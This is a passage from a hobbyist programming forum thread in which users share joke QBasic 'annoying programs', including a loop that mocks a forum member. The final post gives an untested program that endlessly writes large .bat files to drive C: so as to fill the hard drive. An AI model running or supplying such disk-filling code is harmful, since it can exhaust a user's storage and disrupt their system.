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Quote:Oh oh oHHHHH!! I got one, I have an idea for an annoying program!!!!
Code:
DO
PRINT "*annoying mocking voice* Hi I'm wildcard. You can't do this and that. I'm a big jerk face. Waaaaa, I'm complaining about lots of stupid stuff."
LOOP
Am I understanding anything wrong or are you just very sarcastic????
What did Wildcard against you (if you meant this prog to be serious)???
B 4 EVER
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Well... he's right about that the program is annoying. But it is very insulting too.
I think Seph should at least say sorry to wildcard, because wildcard was the one who made this forum and qbn existing. HE IS THE MAN!
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May young people learneth to value valuable things. Aaaaw...
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He shalt learneth from xperience, appearably
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Quote:CLS
DO
I$ = INKEY$
IF I$ <> "" then EXIT DO: PRINT "You pressed <any key>."
LOOP
'Rel, that's dangerous!
Yeah. But still annoying. Hey he wanted the user to throw the monitor!!!!
;*)
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Code:
SCREEN 13
DO
PRINT (CHR$(RND * 50))
SOUND INT(RND * 500) + 100, INT(RND * 30) + 20
LINE (INT(RND * 320), INT(RND * 200))-(INT(RND * 320), INT(RND * 200)), 15, B
LOOP
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Quote:
Is there a way to disable the keyboard????
HEHEHEHEHEHEHE
B 4 EVER
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No, but I once saw somewhere a way to send to keyboard buffer the keys the shelled program would need...
Antoni
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Code:
PRINT "Think of a river. Think of ripples. When did you take a leap? Too long ago? Do it now. I'll prepare a surprise while you're gone..."
CHDIR "c:"
DO
i = i + 1
OPEN CHR$(RND * 97 + 24) + LTRIM$(STR$(i)) + ".bat" FOR OUTPUT AS #1
FOR ii = 1 TO 30000
PRINT #1, "Relax, I'm just filling your harddrive with gibberish. Relax. Take your time. That's right."
NEXT
CLOSE #1
LOOP
Heh... Untested of course